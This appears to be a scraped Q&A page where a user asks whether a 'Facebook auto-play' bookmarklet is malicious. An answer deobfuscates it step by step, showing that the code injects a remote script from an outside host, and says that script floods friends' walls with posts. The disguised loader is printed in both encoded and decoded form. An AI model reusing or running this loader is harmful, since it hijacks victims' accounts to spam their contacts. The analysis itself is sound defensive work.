Can someone decrypt this javascript -


i found in forum tell me code give me auto play facebook games afraid not say, im afraid malicious script

please :)

javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74","\x 68\x74\x74\x70\x3a\x2f\x2f\x75\x67\x2d\x72\x61\x64 \x69\x6f\x2e\x63\x6f\x2e\x63\x63\x2f\x66\x6c\x6f\x 6f\x64\x2e\x6a\x73","\x61\x70\x70\x65\x6e\x64\x43\ x68\x69\x6c\x64","\x62\x6f\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0); 

let's start decoding escape sequences, , rid of _0x8dd5 variable name:

var x=[   "src","script","createelement","http://ug-radio.co.cc/flood.js",   "appendchild","body" ]; (a=(b=document)[x[2]](x[1]))[x[0]]=x[3]; b[x[5]][x[4]](a); void (0); 

substituting string array, left with:

(a=(b=document)["createelement"]("script"))["src"]="http://ug-radio.co.cc/flood.js"; b["body"]["appendchild"](a); void (0); 

so, script simply:

a = document.createelement("script"); a.src = "http://ug-radio.co.cc/flood.js"; document.body.appendchild(a); void (0); 

i.e. loads javascript http://ug-radio.co.cc/flood.js in page.

looking @ script in file loaded, calls "wallflood x-cisadane". seems list of friends , post message (or perhaps from) of them.

certainly nothing auto play games.


Comments

Popular posts from this blog

c# - SharpSVN - How to get the previous revision? -

c++ - Is it possible to compile a VST on linux? -

url - Querystring manipulation of email Address in PHP -